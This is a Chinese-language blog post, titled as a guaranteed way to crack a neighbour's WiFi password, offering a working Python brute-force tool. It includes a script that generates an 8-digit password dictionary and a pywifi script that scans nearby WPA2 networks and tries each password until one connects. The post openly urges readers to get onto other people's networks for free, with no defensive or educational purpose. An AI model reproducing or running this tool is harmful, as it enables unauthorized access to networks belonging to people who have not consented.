当前位置:   article > 正文

隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~_解不开密码怎样蹭wifi

解不开密码怎样蹭wifi

导语

图片

       我想大家对WIFI不陌生叭~WIFI是特别实用的,因为每个人的手机流量都是花钱还有限制的。一到限制流量的时候,手机就网速就卡的要死,还有周天好不容易放一天假休息打游戏。

在家的话,一家人都用同一个WiFi,打游戏这么卡的网速要被喷子喷死........

 于是,当你打开网络连接,跳出来十几个WiFi,耗光流量的你想蹭吗?网速卡到不行的你想免费蹭网吗?

那是肯定的,不知道密码也没关系,今天小编手把手教你制作一个“WiFi万能钥匙”,就能自动连接隔壁家的网啦~

图片

正文

效果图:

​​

以上基于 Python 的 GUI 图形界面开发库 Tkinter所作完成。

安装环境部分:

  本机运行环境:系统环境Win10,运行环境Python3,运行工具Pycharm

  需要Python的包有:pywifi

  这是一种暴力破解wifi的模式哈~

pip install pywifi

原理简介:

  首先要先生成一个密码字典(此步骤也可以从网上下载字典)。

       循环用密码字典的每个密码去尝试连接Wifi,直到成功。

(1)密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典。

  1. import itertools as its
  2. if __name__ == '__main__':
  3. words_num = "1234567890"
  4. words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  5. r = its.product(words_num, repeat=8)
  6. dic = open("password-8位数字.txt", "w")
  7. for i in r:
  8. dic.write("".join(i))
  9. dic.write("".join("\n"))
  10. dic.close()

(2)​暴力破解密码:

  1. import pywifi
  2. from pywifi import const # 引用一些定义
  3. import time
  4. def getwifi(wifilist, wificount):
  5. wifi = pywifi.PyWiFi() # 抓取网卡接口
  6. ifaces = wifi.interfaces()[0] # 获取网卡
  7. ifaces.scan()
  8. time.sleep(8)
  9. bessis = ifaces.scan_results()
  10. allwifilist = []
  11. namelist = []
  12. ssidlist = []
  13. for data in bessis:
  14. if data.ssid not in namelist: # 去掉重复的WIFI名称
  15. namelist.append(data.ssid)
  16. allwifilist.append((data.ssid, data.signal))
  17. sorted(allwifilist, key=lambda st: st[1], reverse=True)
  18. time.sleep(1)
  19. n = 0
  20. if len(allwifilist) is not 0:
  21. for item in allwifilist:
  22. if (item[0] not in ssidlist) & (item[0] not in wifilist):
  23. n = n + 1
  24. if n <= wificount:
  25. ssidlist.append(item[0])
  26. print(allwifilist)
  27. return ssidlist
  28. def getifaces():
  29. wifi = pywifi.PyWiFi() # 抓取网卡接口
  30. ifaces = wifi.interfaces()[0] # 获取网卡
  31. ifaces.disconnect() # 断开无限网卡连接
  32. return ifaces
  33. def testwifi(ifaces, ssidname, password):
  34. profile = pywifi.Profile() # 创建wifi连接文件
  35. profile.ssid = ssidname # 定义wifissid
  36. profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
  37. profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
  38. profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
  39. profile.key = password # wifi密码
  40. ifaces.remove_all_network_profiles() # 删除其他所有配置文件
  41. tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
  42. ifaces.connect(tmp_profile) # 连接wifi
  43. time.sleep(5) # 5秒内能否连接上
  44. if ifaces.status() == const.IFACE_CONNECTED:
  45. return True
  46. else:
  47. return False
  48. def beginwork(wifinamelist):
  49. ifaces = getifaces()
  50. path = r"password-8位数字.txt"
  51. # path = r"password-常用密码.txt"
  52. files = open(path, 'r')
  53. while True:
  54. try:
  55. password = files.readline()
  56. password = password.strip('\n')
  57. if not password:
  58. break
  59. for wifiname in wifinamelist:
  60. print("正在尝试:" + wifiname + "," + password)
  61. if testwifi(ifaces, wifiname, password):
  62. print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
  63. wifinamelist.remove(wifiname)
  64. break
  65. if not wifinamelist:
  66. break
  67. except:
  68. continue
  69. files.close()
  70. if __name__ == '__main__':
  71. wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
  72. wifinames = getwifi(wifinames_e, 5)
  73. print(wifinames)
  74. beginwork(wifinames)

总结

免费上网,从此刻开始——​

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/空白诗007/article/detail/946217
推荐阅读
相关标签